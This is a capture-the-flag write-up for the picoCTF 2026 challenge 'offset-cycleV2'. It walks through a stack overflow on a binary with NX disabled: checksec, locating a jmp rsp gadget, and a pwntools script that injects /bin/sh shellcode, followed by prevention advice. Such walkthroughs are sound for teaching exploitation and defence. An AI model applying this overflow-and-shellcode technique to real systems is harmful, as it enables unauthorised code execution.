offset-cycleV2 picoCTF 2026 Solution

Published: March 20, 2026

Description

It's a race against time. Solve the binary exploit ASAP.

Launch the challenge instance and connect via netcat.

Like offset-cycle but with an additional mitigation or constraint.

  1. Step 1Check protections - NX is disabled
    Run checksec on the binary. Unlike offset-cycle which used ret2win, this version has NX disabled, meaning the stack is executable. The intended technique is a jmp rsp gadget + shellcode injected on the stack.
    bash
    checksec --file=./vuln
    bash
    # Expected: NX disabled, no canary
    Learn more

    NX (No-eXecute), also called DEP (Data Execution Prevention) on Windows, is a CPU and OS feature that marks memory regions as either executable or writable, but not both. When NX is enabled, writing shellcode to the stack and jumping to it causes an immediate access violation because the stack is marked non-executable.

    When NX is disabled, the stack is executable, and you can inject arbitrary machine code (shellcode) directly in your overflow payload and redirect execution to it. This is the classic "stack smashing" technique from the 1990s, still present in CTF challenges to teach the fundamentals before introducing mitigations.

    NX is almost universally enabled in production systems today. The most common reason it's disabled in legitimate software is JIT compilation engines (like JavaScript engines) that need to write and execute machine code at runtime - but these use carefully guarded writable/executable mappings, not the stack.

  2. Step 2Find the jmp rsp gadget
    Search the binary (or libc) for a jmp rsp gadget - an instruction that jumps to whatever RSP currently points to. After overwriting the return address with this gadget, the shellcode placed immediately after the return address will execute.
    bash
    ROPgadget --binary vuln | grep 'jmp rsp'
    bash
    # or:
    bash
    ropper -f vuln --search 'jmp rsp'
    bash
    # Confirm the input function so you know which bad bytes to avoid:
    bash
    objdump -s -j .rodata vuln | grep -E 'gets|fgets|scanf|read'
    bash
    objdump -d vuln | grep -E 'call.*(gets|fgets|scanf|read)'
    Learn more

    The jmp rsp technique exploits a subtle property of how function returns work. When the overwritten return address is popped into RIP, RSP advances past it to point to the next bytes in your payload - your shellcode. A jmp rsp gadget then jumps directly to where RSP points, executing your shellcode immediately.

    This is sometimes called a "jump to stack" exploit or a "trampoline" attack. The gadget acts as a trampoline that bounces execution from the return address into your injected code. The gadget itself can be anywhere in the binary or any loaded library, as long as the instruction sequence FF E4 (jmp rsp) exists somewhere in mapped executable memory.

    Do not reach for push rsp; ret as a substitute. push rsp pushes the current RSP value onto the stack, and the following ret pops that value into RIP. So you jump to the address RSP held before the push, which is where the gadget address itself was sitting (one slot above your shellcode), not your shellcode. To make it work you would need a separate +8 adjustment, which usually means another gadget. jmp rsp and call rsp are the actually-equivalent primitives. If neither exists, look for jmp [rsp], add rsp, X; ret, or pivot through a register you control.

    For the broader exploitation theory, see Buffer overflow exploitation for CTF; for the pwntools idioms used below, see pwntools for CTF.

  3. Step 3Build and send the shellcode payload
    Craft a payload: padding to reach the return address + address of jmp rsp gadget + shellcode. The shellcode can be a /bin/sh shell or a direct cat /flag.txt payload.
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    # Find jmp rsp gadget (via ROPgadget or pwntools)
    jmp_rsp = 0x????  # address from ROPgadget output
    
    offset = 64  # from cyclic pattern analysis
    
    # Recon FIRST so you know what to read. Don't hardcode /flag.txt.
    # Once you have a shell, run: ls /flag*; ls /; env | grep -i flag
    shellcode = asm(shellcraft.sh())   # interactive shell, then cat the real path
    
    # If you've already confirmed the flag path (e.g. /flag.txt) you can use:
    # shellcode = asm(shellcraft.cat('/flag.txt'))
    
    payload = b"A" * offset     # padding to RIP
    payload += p64(jmp_rsp)     # redirect to jmp rsp (lands on shellcode)
    payload += shellcode        # executed after jmp rsp
    
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    Shellcode is machine code injected into a process to perform attacker-controlled actions. The most common payload is an execve("/bin/sh", NULL, NULL) syscall sequence that spawns a shell. pwntools' shellcraft module generates platform-appropriate shellcode, and asm() assembles it to raw bytes.

    pwntools' shellcraft.sh() generates a compact shellcode stub that executes /bin/sh. For CTF servers where you only need to read a file rather than get an interactive shell, shellcraft.cat('/flag.txt') generates even simpler shellcode that just prints the flag and exits, but it only works if the flag is actually at that path. Default to shellcraft.sh(), then run ls /flag*, ls /, and find / -name 'flag*' 2>/dev/null in the spawned shell to locate the real path.

    Real-world shellcode must sometimes be position-independent (no hardcoded addresses), avoid certain bad bytes (null bytes terminate strings, newlines may break input handling), and fit within tight size constraints. pwntools handles many of these automatically, but understanding the constraints helps when you need to write custom shellcode.

    • Avoid null bytes: use xor eax, eax instead of mov eax, 0
    • Avoid newlines (0x0a) if input is read by fgets
    • pwntools' asm(..., avoid=b'\x00\x0a') can encode around bad bytes

Flag

picoCTF{0ff53t_cycl3_v2_...}

offset-cycleV2 disables NX, so instead of ret2win, you use a `jmp rsp` gadget to jump to shellcode placed right after the overwritten return address on the stack.

How to prevent this

Disabling NX is the entire reason this is exploitable. Do not do it.

  • Always link with -z noexecstack (the default in modern toolchains). NX makes stack+heap memory non-executable; jmp rsp into shellcode immediately segfaults.
  • Bound the read so the overflow doesn't happen in the first place. fgets(buf, sizeof(buf), stdin) with stack canaries is a complete fix for this bug class.
  • If the binary genuinely needs an executable region (JIT compilers), allocate it with mprotect(PROT_READ | PROT_EXEC) after writing, and never with PROT_WRITE | PROT_EXEC simultaneously (W^X).

Want more picoCTF 2026 writeups?

Tools used in this challenge

Related reading

What to try next